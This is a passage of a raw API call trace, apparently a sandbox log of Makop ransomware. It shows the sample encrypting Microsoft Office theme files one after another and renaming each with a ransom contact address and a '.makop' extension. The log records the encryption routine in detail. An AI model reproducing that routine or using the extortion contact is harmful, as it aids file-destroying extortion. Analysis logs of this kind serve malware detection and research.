phKey=0x657952c*=0x48c70e8) returned 1 [0156.833] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.834] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.834] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9ff03, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x9ff03, lpOverlapped=0x0) returned 1 [0156.856] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x9ff10, dwBufLen=0x9ff10 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x9ff10) returned 1 [0156.866] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.866] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9ff10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x9ff10, lpOverlapped=0x0) returned 1 [0156.871] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0156.871] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x9ffe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.871] SetEndOfFile (hFile=0x124) returned 1 [0156.880] GetProcessHeap () returned 0x48a0000 [0156.880] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.880] GetProcessHeap () returned 0x48a0000 [0156.880] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.880] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0156.880] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Black Tie.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\black tie.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.882] CloseHandle (hObject=0x124) returned 1 [0156.882] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ccef00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4ccef00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x18c11, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.thmx", cAlternateFileName="CIVIC~1.THM")) returned 1 [0156.883] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx") returned 63 [0156.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0156.885] GetProcessHeap () returned 0x48a0000 [0156.885] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.885] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.886] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0156.886] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xf, lpOverlapped=0x0) returned 1 [0156.890] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0156.890] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.890] GetProcessHeap () returned 0x48a0000 [0156.890] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0156.890] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0156.890] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0156.890] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0156.891] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0156.891] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0156.891] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0156.891] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0156.891] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0156.891] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0156.891] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.892] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.892] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x18c11, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x18c11, lpOverlapped=0x0) returned 1 [0156.894] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x18c20, dwBufLen=0x18c20 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x18c20) returned 1 [0156.896] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.896] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x18c20, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x18c20, lpOverlapped=0x0) returned 1 [0156.897] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0156.897] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x18ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.897] SetEndOfFile (hFile=0x124) returned 1 [0156.905] GetProcessHeap () returned 0x48a0000 [0156.906] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0156.906] GetProcessHeap () returned 0x48a0000 [0156.906] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.906] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0156.906] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.908] CloseHandle (hObject=0x124) returned 1 [0156.908] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fb4000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x43fb4000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x105f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.thmx", cAlternateFileName="CLARIT~1.THM")) returned 1 [0156.908] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx") returned 65 [0156.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0156.910] GetProcessHeap () returned 0x48a0000 [0156.910] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.910] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.910] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0156.911] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xc, lpOverlapped=0x0) returned 1 [0156.915] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0156.915] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.915] GetProcessHeap () returned 0x48a0000 [0156.915] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.915] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0156.915] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0156.915] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0156.916] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0156.916] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0156.916] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0156.916] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0156.916] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0156.917] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0156.917] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.917] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.917] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x105f4, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x105f4, lpOverlapped=0x0) returned 1 [0156.920] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x10600, dwBufLen=0x10600 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x10600) returned 1 [0156.920] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.921] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10600, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x10600, lpOverlapped=0x0) returned 1 [0156.921] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0156.921] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x106d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.921] SetEndOfFile (hFile=0x124) returned 1 [0156.929] GetProcessHeap () returned 0x48a0000 [0156.929] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.929] GetProcessHeap () returned 0x48a0000 [0156.929] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.929] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 112 [0156.929] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.931] CloseHandle (hObject=0x124) returned 1 [0156.931] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a20e000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a20e000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8ad4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.thmx", cAlternateFileName="COMPOS~1.THM")) returned 1 [0156.931] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx") returned 67 [0156.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0156.934] GetProcessHeap () returned 0x48a0000 [0156.934] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.934] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.934] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0156.934] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x3, lpOverlapped=0x0) returned 1 [0156.938] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0156.938] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.938] GetProcessHeap () returned 0x48a0000 [0156.938] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.939] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0156.939] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0156.939] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0156.939] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0156.939] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0156.939] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0156.939] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0156.939] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0156.940] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0156.940] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.940] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.940] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8ad4d, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x8ad4d, lpOverlapped=0x0) returned 1 [0156.956] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x8ad50, dwBufLen=0x8ad50 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x8ad50) returned 1 [0156.963] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.963] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8ad50, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x8ad50, lpOverlapped=0x0) returned 1 [0156.969] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0156.969] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x8ae24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.969] SetEndOfFile (hFile=0x124) returned 1 [0156.976] GetProcessHeap () returned 0x48a0000 [0156.976] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.976] GetProcessHeap () returned 0x48a0000 [0156.976] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.977] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0156.977] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.978] CloseHandle (hObject=0x124) returned 1 [0156.978] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8607600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8607600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1240d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.thmx", cAlternateFileName="CONCOU~1.THM")) returned 1 [0156.979] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx") returned 67 [0156.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0156.981] GetProcessHeap () returned 0x48a0000 [0156.981] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.981] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.982] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0156.982] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x3, lpOverlapped=0x0) returned 1 [0156.986] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0156.986] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.986] GetProcessHeap () returned 0x48a0000 [0156.986] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.986] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0156.986] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0156.986] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0156.986] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0156.987] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0156.987] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0156.987] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0156.987] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0156.987] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | 